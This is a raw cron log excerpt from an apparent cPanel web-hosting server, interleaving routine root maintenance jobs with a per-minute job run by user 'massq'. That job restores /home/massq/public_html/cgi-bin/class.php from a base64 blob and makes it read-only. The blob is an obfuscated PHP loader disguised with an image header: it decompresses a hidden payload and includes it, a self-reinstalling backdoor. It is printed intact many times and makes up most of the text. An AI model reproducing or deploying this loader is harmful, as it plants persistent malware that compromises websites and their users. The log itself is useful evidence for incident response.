Sep  9 11:26:01 server CROND[19690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:26:01 server CROND[19691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:26:01 server CROND[19692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:27:01 server CROND[20070]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 11:27:01 server CROND[20071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:27:01 server CROND[20072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:27:01 server CROND[20073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:28:01 server CROND[20441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:28:01 server CROND[20442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:28:01 server CROND[20443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:29:01 server CROND[20909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:29:01 server CROND[20910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:29:01 server CROND[20913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:30:01 server CROND[21293]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:30:01 server CROND[21295]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 11:30:01 server CROND[21297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:30:01 server CROND[21298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:30:01 server CROND[21296]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 11:30:01 server CROND[21299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:30:01 server CROND[21301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:30:01 server CROND[21300]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 11:31:01 server CROND[22118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:31:01 server CROND[22119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:31:01 server CROND[22120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:32:01 server CROND[22493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:32:01 server CROND[22494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:32:01 server CROND[22495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:33:01 server CROND[23003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:33:01 server CROND[23004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:33:01 server CROND[23005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:34:01 server CROND[23412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:34:01 server CROND[23413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:34:01 server CROND[23414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:35:01 server CROND[23788]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 11:35:01 server CROND[23790]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 11:35:01 server CROND[23794]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:35:01 server CROND[23808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:35:01 server CROND[23807]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 11:35:01 server CROND[23806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:35:01 server CROND[23811]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:35:01 server CROND[23812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:35:01 server CROND[23810]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 11:36:01 server CROND[24605]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:36:01 server CROND[24606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:36:01 server CROND[24607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:37:01 server CROND[25063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:37:01 server CROND[25064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:37:01 server CROND[25065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:38:01 server CROND[25435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:38:01 server CROND[25434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
